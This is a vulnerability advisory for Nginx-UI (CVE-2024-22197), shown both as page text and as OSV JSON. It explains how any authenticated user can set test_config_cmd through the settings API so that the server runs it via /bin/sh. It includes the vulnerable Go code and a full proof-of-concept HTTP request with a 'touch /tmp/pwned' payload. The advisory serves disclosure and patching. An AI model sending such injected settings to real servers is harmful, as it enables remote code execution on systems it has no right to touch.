GHSA-PXMR-Q2X3-9X9M

Vulnerability from github – Published: 2024-01-11 16:30 – Updated: 2024-05-20 22:04
VLAI?
Summary
Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)
Details

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
    if settings.NginxSettings.TestConfigCmd != "" {
        out = execShell(settings.NginxSettings.TestConfigCmd)

        return
    }

    out = execCommand("nginx", "-t")

    return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
    bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
    out = string(bytes)
    if err != nil {
        out += " " + err.Error()
    }
    return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".

POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0.beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-11T16:30:29Z",
    "nvd_published_at": "2024-01-11T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn\u0027t allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "id": "GHSA-pxmr-q2x3-9x9m",
  "modified": "2024-05-20T22:04:42Z",
  "published": "2024-01-11T16:30:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)"
}


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Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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